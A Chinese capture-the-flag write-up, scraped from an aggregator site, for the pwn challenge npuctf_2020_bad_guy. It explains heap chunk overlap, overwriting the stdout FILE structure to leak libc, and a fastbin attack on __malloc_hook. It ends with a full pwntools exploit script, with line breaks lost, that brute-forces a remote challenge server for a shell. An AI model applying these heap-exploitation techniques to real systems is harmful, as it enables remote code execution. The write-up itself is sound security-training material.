IO_FILE(npuctf_2020_bad_guy)

2023-12-25 17:20
文章标签 2020 file io bad npuctf guy

本文主要是介绍IO_FILE(npuctf_2020_bad_guy),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

是一道入门IO_FILE的题目

保护:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EAnd0hbH-1648116914709)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165401820.png)

分析:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WcCvygiO-1648116914710)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165421263.png)

Add:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FHwG9g09-1648116914710)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165435013.png)

Edit:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kjPBNu3x-1648116914710)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165510081.png)

dele

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NFvKMZuh-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165523069.png)

思路

没有常见的off-by-null,和uaf,但是edit函数可以编辑任意大小的size,且最多malloc10次,edit4次

那么就可以利用堆重叠进行攻击

因为这题需要爆破,所以为了在本地便于调试所以关闭系统的地址随机化(不是永久的)
在这里插入图片描述

1.将chunk2放入到0x70fastbin,便于后面的修改fd指针指向__IO_2_1_stdout的上方处

    malloc(0,0x10)malloc(1,0x10)malloc(2,0x60)malloc(3,0x10)free(2)

2.造成堆重叠,即chunk2和chunk3进行重叠形成一个0x90的重叠chunk,再将它放入到unsortbin中

    payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)edit(0,len(payload),payload)free(1)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3bp6jAOk-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316180625737.png)

3.通过malloc切割unsortbin中的大小使它指向0x555555605040

malloc(4,0x10)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-URKyvcxe-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316180829983.png)

这样就可以修改0x555555605040的最后2个字节为0x25dd(因为这个地方处于_IO_2_1_stdout的上方,刚好有个0x7f的位置,可以用作fakechunk,和通过fastattack进行写入到__malloc_hook一样的原理)

4.写入IO_FILE的flag值(这里不懂的可以先去学下利用IO_stdout泄漏libc!!很重要)

    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)edit(0,len(payload),payload)malloc(5,0x60)payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)malloc(6,0x60,payload)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r6JWs3yu-1648116914712)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316181359267.png)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NdWcC29e-1648116914712)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316181432090.png)

完成对应的flag值和_IO_write_base,_IO_write_ptr,_IO_write_end等值的设置后控制台就会自动输出你缓存区中的信息,所以你在打_IO_FILE时最好是在unsortbin中构造一些数据,便于泄漏libc

最后就是简单的通过fastbin attack + __malloc_hook进行getshell了

补充:之前做题一直搞不懂ubuntu16.0.4使用的glibc的具体版本,所以就一直下载错了版本从而导致远程打不出来,比如你在glibc-all-in-one中的下载列表中有这些:

在这里插入图片描述

而实际上16.04使用的是2.23-0ubuntu11_amd64,如果你使用的是2.23-0ubuntu11.3_amd64或者2.23-0ubuntu3_amd64那你的one_gadget会有偏差从而导致远程打不出来。因为glibc-all-in-one使用的是清华源,所以2.23-0ubuntu11_amd64会出现找不到的情况,那么就需要将它的源换成国外的进行代理下载,当然自己手动下载也是可以的,不过记得下载debug包!!!(详细的步骤我博客中有)

完整EXP

#! /usr/bin/python
from pwn import *
#import syscontext.terminal = ['terminator', '-x', 'sh', '-c']
#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')binary = "./npuctf_2020_bad_guy"one = [0x45216,0x4526a,0xf02a4,0xf1147]  #2.23(64)
#idx = int(sys.argv[1])global p
local = 1
if local:p = process(binary)e = ELF(binary)libc = e.libc
else:p = remote("node4.buuoj.cn","29728")e = ELF(binary)libc = e.libc#libc = ELF('./libc_32.so.6')################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()def z(s='b main'):gdb.attach(p,s)def logs(mallocr,string='logs'):if(isinstance(mallocr,int)):print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))else:print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))def pa(s='1'):log.success('pause : step---> '+str(s))pause()def info(data,key='info',bit=64):if(bit == 64):leak = u64(data.ljust(8, b'\0'))else:leak = u32(data.ljust(4, b'\0'))logs(leak,key)return leak################################ Function ############################################
def malloc(i,s,c = 'A'):sla('>> ','1')sla('Index :',str(i))sla('size:',str(s))sa('Content:',c)
def edit(i,s,c = 'A'):sla('>> ','2')sla('Index :',str(i))sla('size:',str(s))sa('content:',c)
def free(i):sla('>> ','3')sla('Index :',str(i))
################################### Statr ############################################
def pwn():malloc(0,0x10)malloc(1,0x10)malloc(2,0x60)malloc(3,0x10)free(2)payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)edit(0,len(payload),payload)free(1)malloc(4,0x10)payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)edit(0,len(payload),payload)malloc(5,0x60)payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)malloc(6,0x60,payload)pa()libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000)malloc(7,0x60)free(7)payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91)edit(0,len(payload),payload)malloc(8,0x60)payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3]))malloc(9,0x60,payload)sla('>> ','1')sla('Index :',str(10))sla('size:',str(10))p.interactive()
################################### End ##############################################
while 1:try:pwn()breakexcept KeyboardInterrupt:p.close()p = remote("node4.buuoj.cn","29728")#p = process(binary)except :p.close()#p = process(binary)p = remote("node4.buuoj.cn","29728")

成功截图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jppLFLrk-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316182030308.png)

这篇关于IO_FILE(npuctf_2020_bad_guy)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/536301

相关文章

Java的IO模型、Netty原理解析

《Java的IO模型、Netty原理解析》Java的I/O是以流的方式进行数据输入输出的,Java的类库涉及很多领域的IO内容:标准的输入输出,文件的操作、网络上的数据传输流、字符串流、对象流等,这篇... 目录1.什么是IO2.同步与异步、阻塞与非阻塞3.三种IO模型BIO(blocking I/O)NI

在java中如何将inputStream对象转换为File对象(不生成本地文件)

《在java中如何将inputStream对象转换为File对象(不生成本地文件)》:本文主要介绍在java中如何将inputStream对象转换为File对象(不生成本地文件),具有很好的参考价... 目录需求说明问题解决总结需求说明在后端中通过POI生成Excel文件流,将输出流(outputStre

Java实现将byte[]转换为File对象

《Java实现将byte[]转换为File对象》这篇文章将通过一个简单的例子为大家演示Java如何实现byte[]转换为File对象,并将其上传到外部服务器,感兴趣的小伙伴可以跟随小编一起学习一下... 目录前言1. 问题背景2. 环境准备3. 实现步骤3.1 从 URL 获取图片字节数据3.2 将字节数组

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

VMWare报错“指定的文件不是虚拟磁盘“或“The file specified is not a virtual disk”问题

《VMWare报错“指定的文件不是虚拟磁盘“或“Thefilespecifiedisnotavirtualdisk”问题》文章描述了如何修复VMware虚拟机中出现的“指定的文件不是虚拟... 目录VMWare报错“指定的文件不是虚拟磁盘“或“The file specified is not a virt

提示:Decompiled.class file,bytecode version如何解决

《提示:Decompiled.classfile,bytecodeversion如何解决》在处理Decompiled.classfile和bytecodeversion问题时,通过修改Maven配... 目录问题原因总结问题1、提示:Decompiled .class file,China编程 bytecode

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

Java IO 操作——个人理解

之前一直Java的IO操作一知半解。今天看到一个便文章觉得很有道理( 原文章),记录一下。 首先,理解Java的IO操作到底操作的什么内容,过程又是怎么样子。          数据来源的操作: 来源有文件,网络数据。使用File类和Sockets等。这里操作的是数据本身,1,0结构。    File file = new File("path");   字

springboot体会BIO(阻塞式IO)

使用springboot体会阻塞式IO 大致的思路为: 创建一个socket服务端,监听socket通道,并打印出socket通道中的内容。 创建两个socket客户端,向socket服务端写入消息。 1.创建服务端 public class RedisServer {public static void main(String[] args) throws IOException {

Java基础回顾系列-第七天-高级编程之IO

Java基础回顾系列-第七天-高级编程之IO 文件操作字节流与字符流OutputStream字节输出流FileOutputStream InputStream字节输入流FileInputStream Writer字符输出流FileWriter Reader字符输入流字节流与字符流的区别转换流InputStreamReaderOutputStreamWriter 文件复制 字符编码内存操作流(